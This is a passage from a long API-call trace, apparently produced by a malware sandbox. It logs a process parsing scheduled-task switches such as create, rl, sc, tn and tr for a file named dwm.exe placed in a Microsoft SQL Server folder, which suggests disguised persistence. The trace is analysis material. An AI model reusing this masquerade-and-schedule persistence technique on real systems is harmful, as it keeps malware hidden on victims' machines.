Server\\110\\Shared\\dwm.exe'") returned 58 [0106.088] lstrlenW (lpString="-/") returned 2 [0106.088] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.088] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0106.088] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.088] _memicmp (_Buf1=0x1f4ae8c4790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.088] _memicmp (_Buf1=0x1f4ae8ca980, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.088] lstrlenW (lpString="'C") returned 2 [0106.089] lstrlenW (lpString="-/") returned 2 [0106.089] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0106.089] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.089] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.089] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.089] _memicmp (_Buf1=0x1f4ae8cab20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.089] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.089] GetProcessHeap () returned 0x1f4ae8c0000 [0106.089] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cab40) returned 1 [0106.089] GetProcessHeap () returned 0x1f4ae8c0000 [0106.089] RtlReAllocateHeap (Heap=0x1f4ae8c0000, Flags=0xc, Ptr=0x1f4ae8cab40, Size=0x76) returned 0x1f4ae8c3be0 [0106.089] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.089] lstrlenW (lpString=" \x09") returned 2 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0106.089] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0106.089] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0106.090] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0106.094] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0106.094] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0106.094] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0106.094] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0106.095] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0106.095] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0106.095] GetLastError () returned 0x0 [0106.096] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.096] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.096] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.096] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.096] lstrlenW (lpString="/rl") returned 3 [0106.096] lstrlenW (lpString="-/") returned 2 [0106.096] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.096] lstrlenW (lpString="create") returned 6 [0106.096] lstrlenW (lpString="create") returned 6 [0106.096] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.096] lstrlenW (lpString="rl") returned 2 [0106.096] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.096] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.096] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.096] lstrlenW (lpString="|create|") returned 8 [0106.096] lstrlenW (lpString="|rl|") returned 4 [0106.096] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0106.096] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.096] lstrlenW (lpString="?") returned 1 [0106.096] lstrlenW (lpString="?") returned 1 [0106.096] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.096] lstrlenW (lpString="rl") returned 2 [0106.096] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.096] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|?|") returned 3 [0106.096] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.097] lstrlenW (lpString="|?|") returned 3 [0106.097] lstrlenW (lpString="|rl|") returned 4 [0106.097] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.097] lstrlenW (lpString="s") returned 1 [0106.097] lstrlenW (lpString="s") returned 1 [0106.097] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.097] lstrlenW (lpString="rl") returned 2 [0106.097] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.097] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|s|") returned 3 [0106.097] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.097] lstrlenW (lpString="|s|") returned 3 [0106.097] lstrlenW (lpString="|rl|") returned 4 [0106.097] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.097] lstrlenW (lpString="u") returned 1 [0106.097] lstrlenW (lpString="u") returned 1 [0106.097] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.097] lstrlenW (lpString="rl") returned 2 [0106.097] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.097] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|u|") returned 3 [0106.097] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.097] lstrlenW (lpString="|u|") returned 3 [0106.097] lstrlenW (lpString="|rl|") returned 4 [0106.097] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.097] lstrlenW (lpString="p") returned 1 [0106.097] lstrlenW (lpString="p") returned 1 [0106.097] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] lstrlenW (lpString="rl") returned 2 [0106.098] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|p|") returned 3 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.098] lstrlenW (lpString="|p|") returned 3 [0106.098] lstrlenW (lpString="|rl|") returned 4 [0106.098] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.098] lstrlenW (lpString="ru") returned 2 [0106.098] lstrlenW (lpString="ru") returned 2 [0106.098] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] lstrlenW (lpString="rl") returned 2 [0106.098] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ru|") returned 4 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.098] lstrlenW (lpString="|ru|") returned 4 [0106.098] lstrlenW (lpString="|rl|") returned 4 [0106.098] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0106.098] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.098] lstrlenW (lpString="rp") returned 2 [0106.098] lstrlenW (lpString="rp") returned 2 [0106.098] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] lstrlenW (lpString="rl") returned 2 [0106.098] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rp|") returned 4 [0106.098] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.099] lstrlenW (lpString="|rp|") returned 4 [0106.099] lstrlenW (lpString="|rl|") returned 4 [0106.099] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0106.099] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.099] lstrlenW (lpString="sc") returned 2 [0106.099] lstrlenW (lpString="sc") returned 2 [0106.099] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.099] lstrlenW (lpString="rl") returned 2 [0106.099] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.099] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.099] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.099] lstrlenW (lpString="|sc|") returned 4 [0106.099] lstrlenW (lpString="|rl|") returned 4 [0106.099] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0106.099] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.099] lstrlenW (lpString="mo") returned 2 [0106.099] lstrlenW (lpString="mo") returned 2 [0106.099] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.099] lstrlenW (lpString="rl") returned 2 [0106.099] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.099] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|mo|") returned 4 [0106.099] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.099] lstrlenW (lpString="|mo|") returned 4 [0106.099] lstrlenW (lpString="|rl|") returned 4 [0106.099] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0106.099] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.100] lstrlenW (lpString="d") returned 1 [0106.100] lstrlenW (lpString="d") returned 1 [0106.100] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.100] lstrlenW (lpString="rl") returned 2 [0106.100] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.100] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|d|") returned 3 [0106.100] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.100] lstrlenW (lpString="|d|") returned 3 [0106.100] lstrlenW (lpString="|rl|") returned 4 [0106.100] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.100] lstrlenW (lpString="m") returned 1 [0106.100] lstrlenW (lpString="m") returned 1 [0106.100] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.100] lstrlenW (lpString="rl") returned 2 [0106.100] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.100] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|m|") returned 3 [0106.100] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.100] lstrlenW (lpString="|m|") returned 3 [0106.100] lstrlenW (lpString="|rl|") returned 4 [0106.100] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.100] lstrlenW (lpString="i") returned 1 [0106.100] lstrlenW (lpString="i") returned 1 [0106.100] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.100] lstrlenW (lpString="rl") returned 2 [0106.100] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|i|") returned 3 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.101] lstrlenW (lpString="|i|") returned 3 [0106.101] lstrlenW (lpString="|rl|") returned 4 [0106.101] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.101] lstrlenW (lpString="tn") returned 2 [0106.101] lstrlenW (lpString="tn") returned 2 [0106.101] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.101] lstrlenW (lpString="rl") returned 2 [0106.101] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.101] lstrlenW (lpString="|tn|") returned 4 [0106.101] lstrlenW (lpString="|rl|") returned 4 [0106.101] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0106.101] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.101] lstrlenW (lpString="tr") returned 2 [0106.101] lstrlenW (lpString="tr") returned 2 [0106.101] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.101] lstrlenW (lpString="rl") returned 2 [0106.101] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tr|") returned 4 [0106.101] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.101] lstrlenW (lpString="|tr|") returned 4 [0106.101] lstrlenW (lpString="|rl|") returned 4 [0106.102] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0106.102] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.102] lstrlenW (lpString="st") returned 2 [0106.102] lstrlenW (lpString="st") returned 2 [0106.102] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.102] lstrlenW (lpString="rl") returned 2 [0106.102] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.102] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|st|") returned 4 [0106.102] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.102] lstrlenW (lpString="|st|") returned 4 [0106.102] lstrlenW (lpString="|rl|") returned 4 [0106.102] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0106.102] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.102] lstrlenW (lpString="sd") returned 2 [0106.102] lstrlenW (lpString="sd") returned 2 [0106.102] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.102] lstrlenW (lpString="rl") returned 2 [0106.102] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.102] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sd|") returned 4 [0106.102] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.102] lstrlenW (lpString="|sd|") returned 4 [0106.102] lstrlenW (lpString="|rl|") returned 4 [0106.102] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0106.102] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.102] lstrlenW (lpString="ed") returned 2 [0106.102] lstrlenW (lpString="ed") returned 2 [0106.102] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.103] lstrlenW (lpString="rl") returned 2 [0106.103] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.103] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ed|") returned 4 [0106.103] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.103] lstrlenW (lpString="|ed|") returned 4 [0106.103] lstrlenW (lpString="|rl|") returned 4 [0106.103] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0106.103] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.103] lstrlenW (lpString="it") returned 2 [0106.103] lstrlenW (lpString="it") returned 2 [0106.103] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.103] lstrlenW (lpString="rl") returned 2 [0106.103] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.103] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|it|") returned 4 [0106.103] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.103] lstrlenW (lpString="|it|") returned 4 [0106.103] lstrlenW (lpString="|rl|") returned 4 [0106.103] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0106.103] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.103] lstrlenW (lpString="et") returned 2 [0106.103] lstrlenW (lpString="et") returned 2 [0106.103] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.103] lstrlenW (lpString="rl") returned 2 [0106.104] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|et|") returned 4 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.104] lstrlenW (lpString="|et|") returned 4 [0106.104] lstrlenW (lpString="|rl|") returned 4 [0106.104] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0106.104] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.104] lstrlenW (lpString="k") returned 1 [0106.104] lstrlenW (lpString="k") returned 1 [0106.104] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.104] lstrlenW (lpString="rl") returned 2 [0106.104] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|k|") returned 3 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.104] lstrlenW (lpString="|k|") returned 3 [0106.104] lstrlenW (lpString="|rl|") returned 4 [0106.104] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.104] lstrlenW (lpString="du") returned 2 [0106.104] lstrlenW (lpString="du") returned 2 [0106.104] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.104] lstrlenW (lpString="rl") returned 2 [0106.104] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|du|") returned 4 [0106.104] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.104] lstrlenW (lpString="|du|") returned 4 [0106.105] lstrlenW (lpString="|rl|") returned 4 [0106.105] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0106.105] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.105] lstrlenW (lpString="ri") returned 2 [0106.105] lstrlenW (lpString="ri") returned 2 [0106.105] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.105] lstrlenW (lpString="rl") returned 2 [0106.105] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.105] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ri|") returned 4 [0106.105] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.105] lstrlenW (lpString="|ri|") returned 4 [0106.105] lstrlenW (lpString="|rl|") returned 4 [0106.105] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0106.105] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.105] lstrlenW (lpString="z") returned 1 [0106.105] lstrlenW (lpString="z") returned 1 [0106.105] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.105] lstrlenW (lpString="rl") returned 2 [0106.105] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.105] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|z|") returned 3 [0106.105] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rl|") returned 4 [0106.105] lstrlenW 